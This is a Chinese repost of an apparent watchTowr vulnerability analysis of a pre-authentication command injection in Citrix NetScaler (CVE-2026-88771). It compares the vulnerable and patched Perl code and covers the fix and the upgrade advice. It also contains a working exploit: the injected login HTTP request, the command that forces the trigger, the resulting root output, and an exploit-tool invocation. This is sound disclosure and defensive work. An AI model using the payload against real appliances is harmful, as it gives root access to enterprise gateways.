哦豁,脚上的枪又响了:CitrixNetScaler预认证命令注入CVE-2026-88771复盘

admin 2026-09-30 05:15:56 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CitrixNetScaler存在高危预认证命令注入漏洞CVE-2026-88771(CVSS9.5),已在野利用。根因是Perl脚本使用反引号拼接未校验日志字段执行shell命令,攻击者可注入任意命令。修复方案为替换正则白名单提取并改用Perl列表调用find绕过shell解释。建议立即升级至14.1-73.37等版本并检查配置。 综合评分: 85 文章分类: 漏洞分析,漏洞预警,WEB安全,应急响应,安全开发


哦豁,脚上的枪又响了:Citrix NetScaler 预认证命令注入 CVE-2026-88771 复盘

幻泉之洲

2026年9月29日 14:37 北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

Citrix 用一份公告 CTX697096 一次性修了 8 个 NetScaler 漏洞,其中 CVE-2026-88771 是默认配置下的预认证命令注入,CVSS 9.5,且已在野作为 0-day 利用。watchTowr 通过对比 14.1-73.30 和 14.1-73.37 两个版本,在一个叫 ns_monuploadd_err.pl 的 Perl 脚本里找到了根因:老代码用 grep|sed|awk 从日志里拼出一个”核心文件名”,再把这个字符串插进反引号执行的 shell 命令里,中间没有任何校验。补丁的做法很朴素——正则白名单提取字段,用 Perl 的 list 形式调用 find,彻底绕开 shell。技术层面故事很干净,难看的是时间线:全世界比 Citrix 先知道这件事。

行吧,我们又回到这个房间了。

耳朵里那阵尖啸是真的。脚上的枪又走火了,一点都不意外。又一次,全世界都知道 Citrix NetScaler 有洞了,而 Citrix 那边要么还没醒,要么根本懒得承认。

Citrix 官方博客:Security by design, proven by action[1]

周六那天,我们像往常一样认真履行行业义务——迅速给这些传言加了点可信度,方式是找这些年一直合作的国家级和跨国机构核对,然后把确认过的判断同步给 watchTowr 的客户和公众。

我们的措辞是刻意选了最直白的:鉴于已经在野利用,而跑 NetScaler 的组织里关键基础设施占比又那么高,设备该下线就下线。这事”不会好看”。

本来想写”这是前所未有的局面”,但我们实在忍不住笑场。

漏洞存在这件事,大家都懂。代码永远不可能完美——就算 AGI 已经来了也一样(Reddit 评论区欢迎来喷)。但跟那些掏钱买你方案来保护自己环境的客户说一声,这应该算底线,不是可选项。

现在肯定有一堆团队在跟自己的 TAM 进行极其紧张的对话,问的是同一个问题:一个默认配置下就能打的在野 RCE,为什么是从一堆渠道传到全世界的,而这些渠道里唯独没有 Citrix 自己?

我们找到了这张我们最爱的软件开发者照片,我们猜他在 Citrix 上班(纯属想象)。我们管他叫 AGI,读作”啊吉”。

Citrix,先替你们说了:我们接受这个新的志愿岗位,就当是你们 PSIRT 部门的编外延伸。慈善名额有限,你们可能要跟其他厂商竞争一下,但名册上加你一个,没问题。

照例,watchTowr 客户可以第一时间拿到我们的研究,配套 Active Defense 能力自动消减暴露面。配置到位的话,这批客户对这个漏洞的暴露已经被处理掉了。

这项研究背后支撑的,就是我们那套 Preemptive Exposure Management(先发式暴露面管理)方案:watchTowr Platform[2]。

顺便感谢一下那些”掉货”的卡车,补丁和各种信息都是这么掉出来的,真心感谢。

我们每天都在干这个,很快就回来 😉

小提示:我们注意到网上另一个站点上有一篇署名我们的 AI 泔水文在流传。跟我们无关,我们也不认为那是真的。谢谢。


Citrix NetScaler 到底是个什么玩意儿

NetScaler(改过名,又改回来了,这种反复横跳只有企业网络厂商才玩得出来)是一整套应用交付控制器和 VPN 网关设备,地球上几乎每一家大型企业网络里都塞着它。它负责负载均衡、SSL 卸载、认证和远程接入。而 NetScaler Gateway 更是直接扮演着成千上万家组织远程接入基础设施的”正门”。

上面这段文字现在被绑在一个键盘快捷键上了。

CVE-2026-88771:为什么它的”朋友”比我们还多

CVE-2026-88771 就是我们下面要拆的这个预认证命令注入。它是 Citrix 在单份公告 CTX697096[3]里修的 8 个漏洞之一。它影响默认配置,并且在任何修复存在之前就已经作为 0-day 在野利用。

公告覆盖的全部内容如下:

| CVE | 描述 | CVSS 4.0 | 在野利用 | | — | — | — | — | | CVE-2026-88771 | 输入校验不当,未认证攻击者可执行任意命令。影响默认配置 | 9.5 严重 | 是 | | CVE-2026-88772 | 内存溢出,启用 DTLS(VPN 虚拟服务器的默认值)时可导致 RCE 或拒绝服务 | 9.5 严重 | 是 | | CVE-2026-88773 | HTTP 请求走私(对 HTTP 请求解释不一致)。依赖特定配置 | 9.3 严重 | 未报告 | | CVE-2026-88774 | NetScaler ADC / Gateway 漏洞,依赖特定配置 | 7.0 高 | 未报告 | | CVE-2026-88775 | 内存溢出,依赖特定配置 | 8.8 高 | 未报告 | | CVE-2026-88776 | 内存溢出,依赖特定配置 | 8.8 高 | 未报告 | | CVE-2026-88777 | 内存溢出,依赖特定配置 | 8.8 高 | 未报告 | | CVE-2026-88778 | 可由历史值预测的取值。靠开启 Enhanced ISN Generation 修复,光升级没用 | 8.8 高 | 未报告 |

Citrix 公告建议升级到以下修复版本:

  • Citrix NetScaler ADC 和 NetScaler Gateway 14.1-73.37 及更高版本
  • Citrix NetScaler ADC 和 NetScaler Gateway 13.1-64.23 及 13.1 更高版本
  • Citrix NetScaler ADC 14.1-FIPS 14.1-73.37 FIPS 及 14.1-FIPS 更高版本
  • Citrix NetScaler ADC 13.1-FIPS 和 13.1-NDcPP 13.1-37.279 及更高版本

注意最后一行:CVE-2026-88778 不是升个级就完事的,还得手动开启 Enhanced ISN Generation。

先把场子搭起来

为了今天的分析,我们起了一台 NetScaler 设备,用那套惯用的”到底他妈的改了什么”流程对比两个版本:

  • 有漏洞的:NetScaler 14.1 build 73.30
  • 修好的:NetScaler 14.1 build 73.37

于是我们出发了

公告里漏洞不少,但我们挑了 CVE-2026-88771。原因有两个:它是默认配置、已知在野利用的那个 RCE;而且从”这个世界为什么是这个样子”和”我们小时候到底做错了什么才配得上这个”的角度看,它最精彩。

作为在 Citrix 逆向里摸爬滚打多年的老手,我们的第一反应是 NSPPE。这位老朋友,过去十年 NetScaler 的漏洞几乎全在它身上。

结果 Citrix 显然喜欢跟我们玩游戏,这次偏偏不是。

这些年我们啃 nsppe 二进制啃得够多了,公告里那个 CWE 看起来更像是”NetScaler 本来就有这个功能”,但哪里又不太对劲:

由于输入校验不当,存在一个远程代码执行漏洞,可允许未认证攻击者执行任意命令。——Citrix

输入校验不当导致命令执行?好家伙。本来想说”80 年代打电话找你们”,但那年头有电话吗?谁知道呢。

(此处留给 HackerNews 全体再吵一遍的空位。)

不过有一点我们很清楚:以我们对 nsppe 的了解,命令注入出现在那儿的可能性极低。所以这次我们换了个做法——打破循环,去别处看看。

谢天谢地我们这么干了。

grep、sed,和那个尴尬的 awk

改动的文件里有一个很有意思:ns_monuploadd_err.pl。diff 一下,输出非常提神:

diff –git a/netscaler/ns_monuploadd_err.pl b/netscaler/ns_monuploadd_err.pl — a/netscaler/ns_monuploadd_err.pl   # 14.1-73.30 +++ b/netscaler/ns_monuploadd_err.pl   # 14.1-73.37 @@ -my $WR_PPE_COREFILE_NAME = grep -E -i "pitboss.\*PPE.\*missed too many heartbeats|pitboss.\*PPE.\*unexpectedly died" @WR\_FILES |\ -tail -1 | sed -e 's!.\*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }';  # [1] +my $WR_PPE_COREFILE_NAME = “”; +my $CORE_RE = qr/pitboss.*(NSPPE-\d{2})\s*((\d+)).*(missed too many heartbeats|unexpectedly died)/; +for my $log (@WR_FILES) {

  •    open my $fh, ‘<‘, $log or next;
  •    while (my $line = <$fh>) {
  •        $WR_PPE_COREFILE_NAME = “$1-$2” if $line =~ $CORE_RE;
  •    }
  •    close $fh; +} @@ -chomp($WR_PPE_COREFILE_NAME); -my $WR_PPE_CORE = find $OFF\_DIR/var/core -name ${WR\_PPE\_COREFILE\_NAME}\* -print | tail -1; +my $WR_PPE_CORE = “”; +if (open my $find, ‘-|’, ‘find’, “$OFF_DIR/var/core”, ‘-type’, ‘f’,
  •    ‘(‘, ‘-name’, $WR_PPE_COREFILE_NAME,
  •    ‘-o’, ‘-name’, “$WR_PPE_COREFILE_NAME.gz”, ‘)’) +{
  •    while (my $found = <$find>) {
  •        chomp $found;
  •        if ($found =~ /\A[A-Za-z0-9\/-.]+\z/) {
  •            $WR_PPE_CORE = $found;
  •        }
  •    }
  •    close $find; +}

能看出来,老代码想干的事是:把崩溃的 nsppe core 文件名捞出来。

真实存在 .log 里的 Pitboss 消息长这样:

pitboss: NSPPE-00 (12345) unexpectedly died

对应的 core 文件名一般就是 NSPPE-00-12345。

老代码:反引号里的三重套娃

被删掉的第一行表达式开了一条命令链。方括号 [1] 处的反引号告诉 Perl:把里面的内容当 shell 命令跑,然后取回输出。

这条链子干了四件事:

  1. grep 在日志文件里找 Pitboss PPE 的失败消息
  2. tail -1 只保留最后一条匹配行
  3. sed 把 NSPPE 之前的内容全砍掉,再去掉圆括号
  4. awk 取前两个空白分隔字段,用连字符拼起来

就是点 shell 手艺活,看着绕,其实不复杂。举个例子,假设日志里是 NSPPE-00 (12345) unexpectedly died,Perl 处理时先把圆括号去掉,得到 NSPPE-00 12345 unexpectedly died,然后打印字段 1、连字符、字段 2,最终输出 NSPPE-00-12345。

问题出在:脚本从头到尾没验证过那前两个字段真的是 nsppe core 文件名和一个数字 PID。

Citrix 的老规矩——什么都信。这里它信的是日志里 NSPPE 后面跟的任何文本。

比如说,攻击者可控的一条日志记录可以是:

pitboss PPE unexpectedly died NSPPE-00;id>/tmp/watchTowr; X Y

经过 sed 和 awk 之后,$WR_PPE_COREFILE_NAME 里存的东西大致是:

NSPPE-00;id>/tmp/watchTowr;-X

到这一步,分号还只是 Perl 字符串里的普通字符,第一条管道并不会执行它。真正的命令注入发生在下一行——Perl 把这个字符串插进了另一个反引号命令:

my $WR_PPE_CORE =     find /var/core -name ${WR\_PPE\_COREFILE\_NAME}\* -print | tail -1;

这一行执行时,shell 拿到的东西等价于:

find /var/core -name NSPPE-00;id>/tmp/watchTowr;-X* -print | tail -1

猜到了吧。shell 看到分号就当命令分隔符用:先跑 find(后排的同学听好了,这是第一段),然后跑我们精心准备的 payload。

最后那段会报错,who cares,注入的命令早就以 root 身份执行完了——NetScaler 上几乎所有东西都跑在 root 下。

就是这样。APT 组织大概就是靠这个,在你完全不知情的情况下把内网犁了一遍,而 Citrix 一直闭着嘴。

你又说对了——这东西花了几天才出补丁。

还有谁听见尖叫声了?

他们修好了吗?怎么修的?靠 AGI 吗?

新代码把整套 grep | sed | awk 管道换成了正常的 Perl 文件处理。它逐行读日志,套用这个正则:

qr/pitboss.*(NSPPE-\d{2})\s*((\d+)).*(missed too many heartbeats|unexpectedly died)/

两个捕获组被刻意收得很窄:

  • (NSPPE-\d{2})

    只接受形如 NSPPE-00 的 Packet Engine 名称

  • (\d+)

    只接受纯数字进程 ID

文件名只由这两个捕获组拼出来:

$WR_PPE_COREFILE_NAME = “$1-$2”;

哪怕日志行的其余部分塞满了分号、管道符、反引号或重定向符,这些字符都不会被带进文件名。

第二处改动同样关键。修复后的脚本用 Perl 的 list 形式启动 find:

open my $find, ‘-|’, ‘find’, ‘/var/core’, ‘-type’, ‘f’, …

每个值作为独立参数传给 find。Perl 不拼命令字符串,也不启动 /bin/sh,所以 shell 元字符没有机会被解释成命令。搜索范围也从模糊的前缀匹配 NAME* 收紧成只认精确的 core 文件名或其 .gz 形式。

最后,返回的路径必须匹配:

/\A[A-Za-z0-9\/-.]+\z/

\A 和 \z 两个锚点要求整条路径都符合,只允许字母、数字、/、- 和 .。这是纵深防御——因为这个路径后面还会被脚本里其他更老的反引号命令用到。

你看,Citrix 是懂防御的。

一句话总结补丁:任何一个不自虐的人都会这么写——用严格校验过的字段拼出 core 名字,然后不经过 shell 直接执行 find。

BL1NG BL1NG,给我一个 shell

遗憾的是,一个简单的预认证请求就能触发这个漏洞(要用 Burp 的话得装 Hackvertor 来编码 login 字段):

POST /nf/auth/doAuthentication.do HTTP/1.1 Host: netscaler-aaa-server Content-Type: application/x-www-form-urlencoded

login=pitboss PPE unexpectedly died NSPPE;:id>/var/tmp/watchTowr;# X&passwd=x&savecredentials=false&nsg-x1-logon-button=Log+On

响应:

HTTP/1.1 200 OK Content-Security-Policy: default-src ‘self’; script-src ‘self’; … Set-Cookie: NSC_DLGE=yyyyyyy;Secure;HttpOnly;Path=/ X-Content-Type-Options: nosniff Content-Length: 2253 Cache-control: no-cache, no-store, must-revalidate Content-Type: application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8 X-Citrix-Application: Receiver for Web

…successupdate-credentials…pitboss PPE unexpectedly died NSPPE;:id>/var/tmp/helloxxxx;# X…Submit

需要说明的是,这不限于某一个端点。任何会把 HTTP 头内容写进日志的端点或端口,都能触发。

登录失败记录、被限流拦截的用户、请求参数、User-Agent 头,全都会落到日志里。组合多得很。

连 Citrix 的管理界面都不安全(哈哈,经典走火)。

上面那个 HTTP 请求会在日志里留下这些:

xxxxxx  0-PPE-0 : default SSLVPN Message 675 0 : “AAAD API: sending login req to aaad for …/var/tmp/watchTowr;# X>, factor , auth type 4129, trans id 1350" &nbsp;xxxxxx nsaaad[15791]: (0-57) process\_kernel\_socket: call to authenticate user :pitboss PPE unexpectedly died NSPPE;:id>/var/tmp/watchTowr;# X, vsid :11813, userlen 70 &nbsp;xxxxx 0-PPE-0 : default AAATM Message 678 0 : "AAAD RESP: received resp, user: .../var/tmp/watchTowr;# X>, factor: , trans id 1350, q_flags 1879080964 aaad-resp 15 aaad-flags 0″

我们是不是该重启一下 shell 了

照例,我们开始撞墙——纯属挫败。

命令注入不是立刻触发的,得等 ns_monuploadd_err.pl 自己跑起来,最长可能要 24 小时。对我们这种人来说,这有点磨人。

想强制触发,可以跑这条命令。不过我们疑似已经找到某种让它立刻点火的手法,暂时留着自己玩:

/netscaler/ns_monuploadd_err.pl -WR

现在看看命令执行了没:

root@netscaler# ls -la /var/tmp/watchTowr -rw-r–r–  1 root  wheel  41 Sep 28 09:21 /var/tmp/watchTowr root@netscaler# cat /var/tmp/watchTowr uid=0(root) gid=0(wheel) groups=0(wheel) root@netscaler#

检测工具

照例,我们把 Detection Artefact Generator 放出来了,你可以自己测一下环境是不是中招,也好安排修复。GitHub 地址:watchTowr-vs-Citrix-Netscaler-CVE-2026-88771[4]

./watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py –target https://all-ur-boxen/ –command ‘id>/var/tmp/watchTowr’                     __        ___  ___________          __  _  ______ _/  |__ ____ |  |_\_    ____\___  _  ________

        watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py

        (*) Citrix NetScaler PreAuth Command Injection to RCE Detection Artifact Generator

          – Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)

        CVEs: [CVE-2026-88771]

[+] connected to https://all-ur-boxen/ [*] payload built: pitboss PPE unexpectedly died NSPPE;id>/var/tmp/watchTowr;# X [+] poisoning the logs… [*] triggering force pickup… [*] remote force pickup in progress [*] done


说点正经的

把这次的事情剥到技术上,它其实是同一个错误在 2026 年的又一次重演:把日志当可信数据源。

日志从来都不可信。它能被 User-Agent 污染,能被登录失败信息污染,能被任何用户可控的字段污染。当一段代码从日志里”捞”出一个字符串,然后把它交给 shell 去执行,中间那层”这个字符串一定长得像个 core 文件名”的假设,就是那支脚枪。

有意思的是修复思路本身没什么门槛。不用什么新框架,不用重写架构,就是正则白名单加参数化调用。任何一个写 Perl 超过三个月的人都该会。换句话说,这个洞能存活到今天,不是技术难题,是流程问题——特别是当这个脚本的日志路径,正好踩在预认证请求能碰到的地方。

更值得琢磨的是时间线。8 个漏洞、2 个在野、1 个默认配置下的预认证 RCE,全世界比厂商先知道,补丁花了好几天才出来。这三件事放在一起,说明的问题已经超出了单个 CVE。

对还在跑 NetScaler 的团队,我的建议很实际:先确认版本,再看 CVE-2026-88778 那项——它是唯一一个”光升级没用”的,还得手动开 Enhanced ISN Generation。做完这两步,再去翻日志里有没有 NSPPE; 这种畸形字符串,那是被扫过的痕迹。

至于厂商沟通这件事,没什么可粉饰的。代码出错可以理解,让客户从第三方嘴里知道自己家大门被踹开,就不能理解了。


参考资料

[1] https://www.citrix.com/blogs/2026-01/security-by-design-proven-by-action-with-citrix-netscaler

[2] https://watchtowr.com/demo/

[3] https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697096

[4] https://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771

[5] https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:幻泉之洲 《哦豁,脚上的枪又响了:Citrix NetScaler 预认证命令注入 CVE-2026-88771 复盘》

评论:0   参与:  0